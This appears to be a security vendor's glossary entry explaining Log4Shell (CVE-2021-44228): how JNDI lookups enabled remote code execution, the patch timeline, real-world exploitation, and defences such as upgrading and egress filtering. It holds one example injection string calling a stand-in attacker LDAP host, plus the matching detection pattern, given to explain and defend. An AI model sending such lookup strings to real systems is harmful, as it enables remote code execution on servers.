Explore our new Cybersecurity Terms Glossary, explained by our experts.
Cybersecurity Terms Glossary
Log4Shell (CVE-2021-44228) let an attacker run code on any server that logged a string they controlled, because Apache Log4j 2 interpreted JNDI lookups inside log messages.

What Is Log4Shell?
Log4Shell is the name given to CVE-2021-44228, a remote code execution vulnerability in Apache Log4j 2, the Java logging library embedded in an enormous share of enterprise software. It scored the maximum 10.0 on CVSS, and for good reason: if an attacker could get a string of their choosing into a log entry, they could run code on the server. Writing something to a log file is the least suspicious action a program performs, which is precisely why this was so difficult to contain.
Log4j 2 supports message lookups, a convenience feature that expands placeholders inside log strings. Writing ${java:version} into a message would put the JVM version in the log. One of the supported lookup types was JNDI, the Java Naming and Directory Interface, which can fetch objects from remote LDAP, RMI, and DNS servers.
Nothing restricted where that fetch went. A request containing ${jndi:ldap://attacker.example/a} in any field the application logged—a User-Agent header, a username at a failed login, a filename, a chat message, a device name reported by an IoT sensor—caused the server to connect out to the attacker’s LDAP service, download a Java class, and instantiate it. On vulnerable JDK versions the class ran immediately.
The flaw reached back to Log4j 2.0-beta9, released in 2013, and affected everything up to 2.14.1. Chen Zhaojun of the Alibaba Cloud Security Team reported it privately on 24 November 2021; a proof of concept appeared publicly on 9 December, and mass scanning began within hours.
The first patch, 2.15.0, proved incomplete. CVE-2021-45046 showed that non-default configurations remained exploitable, leading to 2.16.0, which removed message lookups entirely. CVE-2021-45105 then introduced an infinite recursion denial of service, fixed in 2.17.0, and CVE-2021-44832 added a JDBC Appender issue addressed in 2.17.1 on 28 December 2021. Four releases in three weeks, over Christmas, with every one requiring a fresh round of testing.
The harder problem was never the patch; it was the inventory. Log4j is rarely a direct dependency. It arrives bundled inside application servers, monitoring agents, backup software, network appliances, VMware products, Minecraft servers, and vendor appliances whose suppliers took months to respond. Organisations that could not answer “where do we run Java?” spent weeks scanning, and some never produced a complete answer.
Initial exploitation was dominated by cryptomining botnets and Mirai variants, which is typical for a trivially automated flaw. State-aligned activity followed quickly: Microsoft reported use by groups it tracks as Hafnium and Phosphorus, and Iranian operators compromised a US federal agency through an unpatched VMware Horizon server, an intrusion CISA documented in November 2022. The Khonsari ransomware family appeared within days, and Conti was observed using Log4Shell for internal movement.
The US Cyber Safety Review Board devoted its first report, published in July 2022, to the incident and concluded that Log4Shell would remain an “endemic vulnerability” for a decade—a prediction that has held, as unpatched instances still appear in the CISA Known Exploited Vulnerabilities catalogue years later.
The only durable fix is upgrading Log4j to 2.17.1 or later. Where that was impossible, stopgaps included removing the JndiLookup class from the packaged JAR, setting log4j2.formatMsgNoLookups to true on 2.10 and above, and blocking outbound LDAP and RMI from application servers at the firewall. That last control deserves emphasis, because egress filtering broke the exploit chain even on fully vulnerable hosts and remains one of the cheapest defences against this entire class of flaw.
Log4Shell was a dependency visibility failure, not a Java failure. The organisations that recovered quickly were the ones that could query a build system for every artefact containing Log4j. That capability is what a software bill of materials provides, backed by software composition analysis in the pipeline so new dependencies are catalogued as they arrive rather than reconstructed during an emergency.
The second lesson is to treat all logged input as untrusted data. Log4Shell, Spring4Shell, and Text4Shell all turned convenient string interpolation into code execution. Features that expand attacker-controlled strings belong off by default.
If you want to know which of your internet-facing services still parse untrusted input into a vulnerable library, our Web Application Security Services test that directly rather than by questionnaire.
On unpatched systems, yes. The vulnerability has not changed, and automated scanning for it never stopped. The remaining exposure sits in appliances and internal applications that were never inventoried, forgotten development environments, and vendor products whose suppliers no longer issue updates. It still appears in incident reports as an initial access vector, usually on a server nobody remembered was running Java.
Not this one. Log4j 1.x does not support message lookups, so CVE-2021-44228 does not apply. However, Log4j 1.x reached end of life in 2015 and carries its own serious issues, including CVE-2021-4104 in the JMSAppender and several deserialisation flaws. Running it is not a safe alternative; migrating to a supported 2.17.1 or later release is the right answer.
Only partially, and only for a few hours. Vendors shipped signatures for the obvious ${jndi:ldap:// pattern immediately, and attackers immediately began nesting lookups and using alternative encodings to evade them. A WAF bought useful time while patching happened, but treating it as the fix left organisations exposed to the many obfuscated variants that followed within the first day.
The exploit requires the vulnerable server to connect out to an attacker-controlled LDAP or RMI endpoint to retrieve the malicious class. If application servers cannot initiate arbitrary outbound connections, the lookup fails and no code is fetched. Strict egress filtering from server networks is one of the few controls that worked against the original exploit, its variants, and the obfuscated payloads alike.
You May Be Interested In These
We use a few cookies that are needed to make this website work, and they are always on. We would also like to set analytics cookies, to see which pages are useful; functional cookies, so that our live chat works; and advertising cookies, to measure our campaigns. We will not set any of those until you say yes, and you can change your mind at any time from the Cookie Settings link in the footer.
Choose the cookies you are happy for us to use. Strictly necessary cookies are always on; everything else is off until you turn it on.
These cookies keep the website working: they hold your security checks, your form submissions and the choice you make here. The site cannot run without them, so they are always on.
These let our live chat open and remember your conversation, and let the newsletter sign-up work. Switch them off and the chat window will not appear.
These tell us which pages are read and how people find us, so that we can improve the site. The reports are about groups of visitors, never about you personally.
These let us measure our advertising and show you our adverts on other websites, such as LinkedIn, Google and Meta. Switch them off and you will still see adverts, but they will be less relevant.